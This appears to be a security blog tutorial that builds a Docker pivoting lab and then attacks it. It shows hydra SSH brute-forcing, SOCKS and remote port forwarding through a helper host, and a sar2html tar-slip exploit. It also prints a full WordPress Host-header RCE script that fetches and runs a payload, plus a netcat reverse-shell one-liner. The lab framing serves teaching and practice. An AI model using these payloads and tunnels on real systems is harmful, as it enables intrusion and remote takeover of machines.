Docker: Creating a Pivoting Lab and Exploiting it


You may be familiar with the concept of pivoting. Pivoting is the way to move from one compromised system to another system.

“A” has access to “B”.
“B” has access to “C”.
“A” does not have access to “C”.

So how can we access “C” from “A”? Well, that’s not possible directly so we use the concept of pivoting. “A” can use “B” as the foothold to gain access to “C”. “A” first compromises system “B” then uses this machine as a launch point to attack “C”.

Lab Creation Overview

To have some practice on pivoting I have created a lab in docker.

The figure below gives us the overview of network setup of docker-compose files. Out targets are Victim1 and Victim2. They are both on the same subnet while the Attacker is on a different subnet

Our helper machine ( gateway machine ) is sitting on both sub-networks.

 pivoting image ><


Brief Overview of Docker Compose Files

You can get the docker-compose files from my Github repository.

Repository Link: Github

For this lab, two networks are created:-

  1. attacker -> having subnet

  2. victim -> having subnet

By default, Docker uses a bridge driver. Although we could specify different network drivers, we will be using default driver.

 subnet image ><

Fig: docker-compose-subnet.yml

Notice that helper container is built locally. This makes it easy for us to customize the base image. This is the container that is part of both networks: attacker and victim.

 helper image ><

Fig: docker-compose.yml

A base image is being pulled out. I have enabled ssh root login. I don’t recommend doing this without proper security guidelines. XD

 helper image ><

Fig: helper.Dockerfile

attacker is the part of the attacker subnet having an IP of

 attacker image ><

Fig: docker-compose.yml

attacker container also uses the phusion/baseimage. Additionally, some other tools ( ping, nmap, etc ) will be installed.

 attacker image ><

Fig: attacker.Dockerfile

victim container is also built locally. It does have network IP of This is part of subnet

 victim1 image ><

Fig: docker-compose.yml

wget downloads sar2html tool. Github Link: Repository.

It is a plotting tool for used system statistics. There is an issue with this tool. Which we will discuss later on. For now, just assume there is a vulnerability in this tool.

 victim1 image ><

Fig: victim1.Dockerfile

For victim2 there is no need to manipulate the image locally. There is already a vulnerable WordPress in the docker hub. We just pull it out from there. The image below shows the configuration structure of WordPress with a database server. Both of which are in the same sub-network so they can communicate with each other.

 victim2 image ><

Fig: docker-compose.yml

We also have wp-cli to configure the wordpress setup automatically.

 victim2 wpcli ><

Fig: docker-compose.yml

Docker Compose Build and Run

This was a brief overview of our lab environment. We will now run the docker-compose files and check them.

We first need to build them, which may take some time for pulling, download, and installing. We then create and run the built containers.

docker-compose -f docker-compose-subnet.yml -f docker-compose.yml build
docker-compose -f docker-compose-subnet.yml -f docker-compose.yml up


There are a total of 5 containers running. Attacker, helper, victim1 and victim2 (WordPress & MySQL) are running.

 dockercomposeup image ><

Fig: docker-compose build & up

attacker container can reach the helper network. You should see a successful ping reply back from the helper.

ping helper

 pinging from attacher to helper image ><

Fig: Ping check from the attacker

 pinging from attacher to helper image ><

Fig: Ping check from the attacker

You should be able to figure out the connections between containers using the picture below.

 pinging from attacker to helper image ><

Fig: Ping check

Attacking and Pivoting

Let’s first discover the ports in helper host. So our target is the first to get access to the helper host.

nmap -sC -sV -T4

 helper nmap scan ><

Fig: Nmap scan (helper)

There is port 22 (ssh) open. We have hydra installed in the attacker machine and a rockyou.txt file, brute forcing the ssh login.

hydra -l root -P /home/rock.txt ssh://


 bruteforce ssh ><

Fig: Bruteforce with Hydra

We got the password for the user root. Let’s try using this credential. We are now in the helper machine.

ssh root@


  ssh login ><

Fig: ssh login

There might be other new hosts so I will keep on scanning further to gather new hosts and ports.

ifconfig shows that the helper machine is part of two network families.


  ifconfig ><

Fig: ifconfig


hostname -I -> displays all the addresses for the host

  hostname ><

Fig: hostname


Having ssh access makes it very easy for tunneling. Creating dynamic port forwarding leverages the SOCKS proxy. This will deliver all the traffic through an ssh connection, via, given port to the destination server. Here we are forwarding all the traffics to the attacker machine.

-N = disable execution of command

-f = runs in background

ssh -D 9050 root@ -f -N

  dynamic ><

Fig: dynamic port forwarding


Cross-checking if it is running in the background or not. XD

  netstat ><

Fig: netstat

What we need now is a proxy tool. I am going to use proxychains. Remember the port we mentioned in “/etc/proxychains.conf” should be the same as dynamic port.

  proxychain ><

Fig: proxychain conf

Discovering newer hosts (victims)

The major concern is finding hosts. Having a nmap would have been easier, but generally, you won’t find it in real-world scenarios.

  no nmap ><

Fig: no nmap

We are now aware that helper is part of two networks. Both helper machine and attacker machine belong to the same network “”. Due to this reason, we will now scan network “” to find all live hosts.

I am using the ping sweep technique to scan new hosts. The below one-liner code will run in parallel mode.

for i in $(seq 1 254); do (ping -c 1 172.16.101.${i} | grep "64 bytes from" | grep -oE "([0-9]{1,3}[\.]){3}[0-9]{1,3}" &); done;

  ping scan hosts ><

Fig: Host scan using ping

We have now gathered a total of 5 live hosts.

1. - helper ip
2. - gateway ip
3. - victim1 ip
4. - victim2 ip
5. - victim2 ip

Victim 1

The reason why we cannot ping is that proxies do not support ICMP protocols. Their working OSI layers are different.   not working  ><

Fig: Proxymap ping

We cannot ping the hosts but we can use Nmap to scan ports.

proxychains nmap -sT -Pn -F

-sT - TCP connect scan

  • -Pn - won’t scan hosts but treats all hosts as online

Nmap shows that one service is open on port 5000.

  nmap victim1  ><

Fig: Nmap scan (victim1)

We get a 200 status code.   curl  ><

Fig: Curl

Let’s see what is running in this port. Opening it in a browser.

sar2html is the plotting tool for system statistics (sar data).

  sar2html  ><

Fig: Sar2html

As I said in the beginning of this blog there is a vulnerability in this tool. There is a tar2slip vulnerability.

sar2html is vulnerable to tar slip, which leads to arbitrary file write via archive extraction.

Let’s try exploiting it.

1. First download the POC generator tool

git clone && cd evilarc  

2. Run the below code

echo exploitation test > test.css 

3. Now generate the malicious tar file

python2  -o linux -f pay.tar test.css -p 'static/css' -d 3

4. Click on “New Host” then upload the tar file “pay.tar”

5. Check for the file.

  file.css check  ><

Fig: Using Browser

  file.css check using curl  ><

Fig: Using Curl

We have now successfully exploited this issue.

Victim1 is compromised.

Victim 2

Again we start with the same tedious Nmap scan. There is an http service running on port 80.

  wordpress nmap  ><

Fig: Nmap scan (victim2)

Here we can see MySQL service running.

  mysql nmap  ><

Fig: Nmap scan (victim2)

For now, our target is HTTP service. It is running WordPress cms.

  curl victim2  ><

Fig: Check

If we have not automated the installation/setup process with wp-cli then we should have finished it manually.

To know more about this vulnerability in WordPress, you can Click here.

It is already configured and installed. The username and password is “admin” and “adminpass” respectively.

  wordpress installation  ><

Fig: Wordpress Installation

Save given reverse shell payload.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 1331 >/tmp/f

Now save given POC. Check if you have set the correct http_server and target.


function prep_host_header() {
      rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
      rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
      host_header="target(any -froot@localhost -be $rce_cmd null)"
      return 0

if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1

# Save payload on the target in /tmp/
cmd="/usr/bin/curl $http_server -o /tmp/"
prep_host_header "$cmd"
curl -H "Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' "$target/wp-login.php?action=lostpassword"
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"

# get a reverse shell
cmd="/bin/chmod +x /tmp/"
prep_host_header "$cmd"
curl -H "Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' "$target/wp-login.php?action=lostpassword"
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"

cmd="/bin/sh /tmp/"
prep_host_header "$cmd"
curl -H "Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' "$target/wp-login.php?action=lostpassword"
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"  ><



So before executing the POC file we first have to ensure that everything is working properly. Getting reverse shell directly from victim2 machine to attacker machine is not possible. Although we have dynamic port forwarding running, it is still not going to work.

 check  >< file downloads the from the attacker machine to the victim2 machine. But it is not making a connection with the HTTP server.

 check  ><

Reverse Shell

Let’s use the remote port forwarding concept here.

ssh -R :80: root@helper -N -f

This will forward all the traffic (creating a tunnel) from the remote port (victim2) 80 to the local machine on port 80 (attacker). Now, when we run file, it can make a connection with the attacker python HTTP server. Let’s apply this.

  download  ><

Fig: downloading

We are now one step away from getting a reverse shell. We remote port forward again.

ssh -R :80: -R :1331: root@helper -N -f
proxychains4 -q ./
python3 -m http.server 80
ncat -lvnp 1331

  Getting reverse shell  ><

Fig: Reverse Shell

Finally, we are into the vulnerable WordPress machine.


By default, ssh disables GatewayPorts.It would make any remote IP only bind to<port> and allow to connect only from the server host.

  Explain  ><

1. When GatewayPorts is disbaled

  GatewayPorts off  ><

Fig: GatewayPorts no

2. When GatewayPorts is enabled

  GatewayPorts on  ><

Fig: GatewayPorts yes

Thank you :)

Recent Posts



Docker: Creating a Pivoting Lab and Exploiting it

You may be familiar with the concept of pivoting. Pivoting is the way to move from one compromised system



Proxy: Accessing Network Connection

In this blog, I will explain how to access network connections on Tryhackme/HTB/etc…. machines.Having an internet connection will make it a lot easier when we are trying to pwn machines



Phishing: Creating and Analyzing

In this blog, I am going to phish myself. Jumping directly into a conclusion does not make sense so I will be explaining from “how-to-create” to “how-to-do”.



Suspicious USB Stick

One of our clients informed us they recently suffered an employee data breach. As a startup company, they had a constrained budget allocated for security and employee